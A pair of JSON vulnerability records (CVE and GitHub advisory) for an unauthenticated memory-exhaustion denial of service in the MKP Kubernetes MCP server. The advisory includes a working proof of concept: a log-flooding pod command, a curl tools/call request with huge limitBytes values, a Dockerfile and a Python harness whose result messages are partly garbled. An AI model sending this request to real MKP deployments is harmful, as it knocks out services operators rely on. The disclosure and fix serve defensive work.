{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mkp",
          "vendor": "StacklokLabs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.4.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpoint and pkg/mcp/server.go registers the unauthenticated get_resource tool, which accepts attacker-controlled limitBytes and tailLines values for the pods logs subresource. buildPodLogOpts() in pkg/k8s/subresource.go parses those values as unbounded int64 parameters, and defaultGetPodLogs() copies the returned Kubernetes log stream through io.Copy into an in-memory bytes.Buffer without an application-side cap. A remote attacker who can reach the default port 8080 MCP endpoint and select a pod with sufficiently large accumulated logs can send one tools/call request that causes large allocations and additional response copies, while the request-frequency limiter does not constrain per-request volume. This can exhaust process memory, terminate the MKP server, and deny the MCP service; observed testing showed more than one GiB of RSS growth while handling a 128 MiB requested stream. This issue is fixed in version 0.4.1."
    }
  ],
  "id": "CVE-2026-50125",
  "lastModified": "2026-09-17T20:16:50.127",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-17T20:16:50.127",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/StacklokLabs/mkp/commit/37bf6bac862aa3b1c71b8aa1b8364eae7818962d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/StacklokLabs/mkp/security/advisories/GHSA-qw5r-ppcg-f8rj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/StacklokLabs/mkp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T18:09:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion\n\n### Summary\n\nThe MKP (Model Context Protocol for Kubernetes) server exposes a `get_resource` MCP tool that proxies Kubernetes pod log requests. User-supplied `limitBytes` and `tailLines` parameters are parsed as unbounded `int64` values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory `bytes.Buffer` using `io.Copy` without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server\u0027s memory by sending a single crafted `tools/call` request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with `limitBytes=134217728`.\n\n### Details\n\nThe vulnerability exists in `pkg/k8s/subresource.go` in the `buildPodLogOpts()` and `defaultGetPodLogs()` functions.\n\n**Source \u2014 unbounded parameter parsing (`pkg/k8s/subresource.go:171\u2013181`):**\n\n```go\n// pkg/k8s/subresource.go\ndefaultLimitBytes := int64(32 * 1024) // 32 KB \u2014 only used when parameters map is nil\n...\nif limitBytes, ok := parameters[\"limitBytes\"]; ok {\n    if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {\n        podLogOpts.LimitBytes = \u0026b  // no upper-bound check\n    }\n}\nif tailLines, ok := parameters[\"tailLines\"]; ok {\n    if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {\n        podLogOpts.TailLines = \u0026lines  // no upper-bound check\n    }\n}\n```\n\nWhen the `parameters` map is non-nil (always true for attacker-supplied input), `buildPodLogOpts()` is called at `pkg/k8s/subresource.go:94\u201396` and overwrites the 32 KB default entirely. The attacker can therefore supply any positive `int64` value (up to `2147483647` or `9223372036854775807`) as `limitBytes`.\n\n**Sink \u2014 unbounded in-memory copy (`pkg/k8s/subresource.go:114\u2013115`):**\n\n```go\nbuf := new(bytes.Buffer)\n_, err = io.Copy(buf, podLogs)  // entire Kubernetes stream copied into RAM\n```\n\nThe stream from Kubernetes is read without limit into a heap-allocated `bytes.Buffer`. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9\u00d7).\n\n**Attack path (source \u2192 sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `cmd/server/main.go:30` | Server binds to `:8080` on all interfaces; no authentication by default |\n| 2 | `pkg/mcp/server.go:131` | `NewGetResourceTool()` registered unconditionally (no `--read-write` required) |\n| 3 | `pkg/mcp/get_resource.go:28\u201338` | Attacker-controlled `parameters` map parsed from `CallToolRequest` |\n| 4 | `pkg/mcp/get_resource.go:76` | `client.GetResource(..., parameters)` called |\n| 5 | `pkg/k8s/subresource.go:32\u201333` | `resource=pods` + `subresource=logs` routes into `getPodLogs` |\n| 6 | `pkg/k8s/subresource.go:171\u2013181` | `limitBytes` / `tailLines` parsed without upper bound (source) |\n| 7 | `pkg/k8s/subresource.go:114\u2013115` | `io.Copy(buf, podLogs)` loads full stream into `bytes.Buffer` (sink) |\n\nThe rate limiter (`pkg/ratelimit/config.go:16\u201317`) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.\n\n**Suggested remediation:**\n\n```diff\n+const (\n+    maxPodLogTailLines  int64 = 1000\n+    maxPodLogLimitBytes int64 = 1024 * 1024  // 1 MB hard cap\n+)\n+\n buf := new(bytes.Buffer)\n-_, err = io.Copy(buf, podLogs)\n+limitedLogs := \u0026io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}\n+_, err = io.Copy(buf, limitedLogs)\n+if limitedLogs.N == 0 {\n+    return nil, fmt.Errorf(\"pod logs exceed maximum size of %d bytes\", maxPodLogLimitBytes)\n+}\n\n if limitBytes, ok := parameters[\"limitBytes\"]; ok {\n     if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {\n+        if b \u003c= 0 || b \u003e maxPodLogLimitBytes {\n+            b = maxPodLogLimitBytes\n+        }\n         podLogOpts.LimitBytes = \u0026b\n     }\n }\n if tailLines, ok := parameters[\"tailLines\"]; ok {\n     if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {\n+        if lines \u003c= 0 || lines \u003e maxPodLogTailLines {\n+            lines = maxPodLogTailLines\n+        }\n         podLogOpts.TailLines = \u0026lines\n     }\n }\n```\n\n### PoC\n\n**Prerequisites**\n\n- Docker (for self-contained reproduction)\n- A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)\n- MKP server accessible on port 8080\n\n---\n\n**Option A \u2014 Self-contained Docker reproduction (Phase 2 method)**\n\nThis method uses a mock Kubernetes API that streams 128 MB of log data:\n\n```bash\n# 1. Clone the repository and enter it\ngit clone https://github.com/StacklokLabs/mkp.git\ncd mkp\n\n# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)\ndocker build -t mkp-vuln-001 -f vuln-001/Dockerfile .\n\n# 3. Run the exploit container \u2014 output includes RSS measurements\ndocker run --rm mkp-vuln-001\n```\n\nExpected output (condensed):\n\n```\nInitial RSS:  26464 kB  ( 25.8 MB)\nt+01s: MKP RSS =  383080 kB  ( 374.1 MB)  [in-progress]\nt+02s: MKP RSS =  683876 kB  ( 667.8 MB)  [in-progress]\nt+03s: MKP RSS =  945008 kB  ( 922.9 MB)  [in-progress]\nt+06s: MKP RSS = 1207560 kB  (1179.3 MB)  [in-progress]\nPeak RSS: 1207572 kB (1179.3 MB)\nDelta RSS: 1181108 kB (1153.4 MB)\nVERDICT: CONFIRMED \u2014 RSS grew 1153.4 MB (limitBytes=128 MB)\n```\n\n---\n\n**Option B \u2014 Real Kubernetes environment (manual)**\n\n```bash\n# 1. Build and start MKP server (default transport: streamable-http on :8080)\ngit clone https://github.com/StacklokLabs/mkp.git \u0026\u0026 cd mkp\ntask build\n./build/mkp-server --kubeconfig=/path/to/kubeconfig\n\n# 2. Create a pod that generates large logs\nkubectl -n default run logbomb --image=busybox --restart=Never -- \\\n    sh -c \u0027yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0027\n\n# Wait ~30 seconds for logs to accumulate, then:\n\n# 3. Send the exploit request\ncurl -sS http://127.0.0.1:8080/mcp \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -H \u0027Accept: application/json, text/event-stream\u0027 \\\n    --data \u0027{\n      \"jsonrpc\": \"2.0\",\n      \"id\": 1,\n      \"method\": \"tools/call\",\n      \"params\": {\n        \"name\": \"get_resource\",\n        \"arguments\": {\n          \"resource_type\": \"namespaced\",\n          \"group\": \"\",\n          \"version\": \"v1\",\n          \"resource\": \"pods\",\n          \"namespace\": \"default\",\n          \"name\": \"logbomb\",\n          \"subresource\": \"logs\",\n          \"parameters\": {\n            \"tailLines\": \"999999999\",\n            \"limitBytes\": \"2147483647\"\n          }\n        }\n      }\n    }\u0027\n```\n\n**Expected observation:** MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.\n\n### Impact\n\nThis is an **unauthenticated remote Denial of Service (DoS)** vulnerability affecting any deployment of MKP server accessible over the network.\n\n**Who is impacted:**\n\n- Any operator running `mkp-server` in its default configuration (no `--read-write` flag required; `get_resource` is registered by default on `:8080` without authentication).\n- Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., `kube-system` workloads in production clusters almost always satisfy this condition).\n- Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.\n\nA single `tools/call` request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with `limitBytes=2147483647` (~2 GB) will exhaust memory before any subsequent requests are needed.\n\nNo authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# \u2500\u2500 Stage 1: Build mkp-server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM golang:1.25 AS builder\n\n# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain\n# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.\nENV GOTOOLCHAIN=local\nENV CGO_ENABLED=0\n\nWORKDIR /src\n\n# Copy the source tree (build con = parent of vuln-001/)\nCOPY repo/ .\n\nRUN go build -o /mkp-server ./cmd/server\n\n# \u2500\u2500 Stage 2: Runtime \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nFROM python:3.12-slim\n\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends procps curl \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /mkp-server /usr/local/bin/mkp-server\n\nCOPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py\nCOPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml\nCOPY vuln-001/exploit.py /workspace/exploit.py\nCOPY vuln-001/entrypoint.sh /workspace/entrypoint.sh\n\nRUN chmod +x /workspace/entrypoint.sh\n\nCMD [\"/workspace/entrypoint.sh\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Dynamic Reproduction Orchestrator.\n\nBuild: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .\nRun  : docker run --rm mkp-vuln-001\n\nEvidence criterion: MKP RSS grows by \u2265 50 MB while processing a single\ntools/call request with limitBytes=134217728 (128 MB), proving that\ndefaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.\n\"\"\"\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK_DIR = Path(__file__).parent.resolve()\nREPO_ROOT = WORK_DIR.parent\nIMAGE = \"mkp-vuln-001\"\nBUILD_CMD = f\"docker build -t {IMAGE} -f vuln-001/Dockerfile .\"\nRUN_CMD   = f\"docker run --rm {IMAGE}\"\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ndef run_streaming(cmd: str, cwd=None) -\u003e tuple[int, str]:\n    \"\"\"Run a shell command, stream its output, and return (rc, full_output).\"\"\"\n    proc = subprocess.Popen(\n        cmd, shell=True,\n        stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n        text=True, cwd=cwd,\n    )\n    lines = []\n    for line in proc.stdout:\n        print(line, end=\u0027\u0027, flush=True)\n        lines.append(line)\n    proc.wait()\n    return proc.returncode, \u0027\u0027.join(lines)\n\n\ndef save_result(result: dict):\n    path = WORK_DIR / \u0027phase2_result.json\u0027\n    with open(path, \u0027w\u0027, encoding=\u0027utf-8\u0027) as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[poc] Result saved \u2192 {path}\")\n\n\ndef parse_evidence(output: str) -\u003e dict:\n    ev: dict = {}\n    m = re.search(r\u0027Initial RSS\\s*:\\s*(\\d+)\u0027, output)\n    if m:\n        ev[\u0027initial_kb\u0027] = int(m.group(1))\n        ev[\u0027initial_mb\u0027] = ev[\u0027initial_kb\u0027] / 1024\n\n    m = re.search(r\u0027Peak RSS\\s*:\\s*(\\d+)\u0027, output)\n    if m:\n        ev[\u0027peak_kb\u0027] = int(m.group(1))\n        ev[\u0027peak_mb\u0027] = ev[\u0027peak_kb\u0027] / 1024\n\n    m = re.search(r\u0027Delta RSS\\s*:\\s*(\\d+)\\s*kB\\s*\\(([0-9.]+)\\s*MB\\)\u0027, output)\n    if m:\n        ev[\u0027delta_kb\u0027] = int(m.group(1))\n        ev[\u0027delta_mb\u0027] = float(m.group(2))\n    elif \u0027peak_kb\u0027 in ev and \u0027initial_kb\u0027 in ev:\n        ev[\u0027delta_kb\u0027] = ev[\u0027peak_kb\u0027] - ev[\u0027initial_kb\u0027]\n        ev[\u0027delta_mb\u0027] = ev[\u0027delta_kb\u0027] / 1024\n\n    m = re.search(r\u0027VERDICT:\\s*(CONFIRMED|INCONCLUSIVE)[^\\n]*\u0027, output)\n    if m:\n        ev[\u0027verdict_line\u0027] = m.group(0)\n\n    return ev\n\n\ndef extract_evidence_block(output: str) -\u003e str:\n    \"\"\"Return the EVIDENCE SUMMARY block, or the last 3000 chars.\"\"\"\n    m = re.search(r\u0027={10,}\\nEVIDENCE SUMMARY.*?={10,}\u0027, output, re.DOTALL)\n    if m:\n        return m.group(0)[:3000]\n    return output[-3000:]\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ndef main():\n    print(\"=\" * 60)\n    print(\"VULN-001: Unbounded Pod Log Read \u2014 Dynamic Reproduction\")\n    print(\"=\" * 60)\n\n    os.chdir(REPO_ROOT)\n\n    # \u2500\u2500 Docker build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(f\"\\n[poc] Building Docker image\u2026\\n[poc] {BUILD_CMD}\\n\")\n    rc, build_output = run_streaming(BUILD_CMD)\n    if rc != 0:\n        reason = f\"Docker build failed (exit {rc}). text error: {build_output[-800:]}\"\n        save_result({\n            \"passed\": False,\n            \"verdict\": \"FAIL\",\n            \"reason\": reason,\n            \"build_command\": BUILD_CMD,\n            \"run_command\": RUN_CMD,\n            \"poc_command\": \"python3 vuln-001/poc.py\",\n            \"evidence\": build_output[-2000:],\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        })\n        print(f\"\\n[poc] FAIL: {reason}\")\n        return False\n\n    print(\"\\n[poc] Build OK.\")\n\n    # \u2500\u2500 Docker run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(f\"\\n[poc] Running exploit container\u2026\\n[poc] {RUN_CMD}\\n\")\n    rc, run_output = run_streaming(f\"{RUN_CMD} 2\u003e\u00261\")\n    print(f\"\\n[poc] Container exited (code={rc})\")\n\n    ev = parse_evidence(run_output)\n    delta_mb = ev.get(\u0027delta_mb\u0027, 0.0)\n    print(f\"[poc] Parsed evidence: {ev}\")\n\n    # \u2500\u2500 Verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    passed = delta_mb \u003e= 50.0\n\n    if passed:\n        verdict = \"PASS\"\n        init_mb = ev.get(\u0027initial_mb\u0027, 0)\n        peak_mb = ev.get(\u0027peak_mb\u0027, 0)\n        reason = (\n            f\"MKP server RSStext {init_mb:.1f} MB \u2192 {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. \"\n            f\"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters \"\n            f\"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text \"\n            f\"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed.\"\n        )\n    else:\n        verdict = \"INCOMPLETE\"\n        reason = (\n            f\"RSS text {delta_mb:.1f} MB \u2014 50 MB criteria text. \"\n            f\"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, \"\n            f\"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}\"\n        )\n\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_CMD,\n        \"run_command\": RUN_CMD,\n        \"poc_command\": \"python3 vuln-001/poc.py\",\n        \"evidence\": extract_evidence_block(run_output),\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    save_result(result)\n\n    print(f\"\\n[poc] {\u0027PASS\u0027 if passed else \u0027INCOMPLETE\u0027}: {reason}\")\n    return passed\n\n\nif __name__ == \u0027__main__\u0027:\n    ok = main()\n    sys.exit(0 if ok else 1)\n```",
  "id": "GHSA-qw5r-ppcg-f8rj",
  "modified": "2026-07-14T18:09:48Z",
  "published": "2026-07-14T18:09:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/StacklokLabs/mkp/security/advisories/GHSA-qw5r-ppcg-f8rj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/StacklokLabs/mkp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion"
}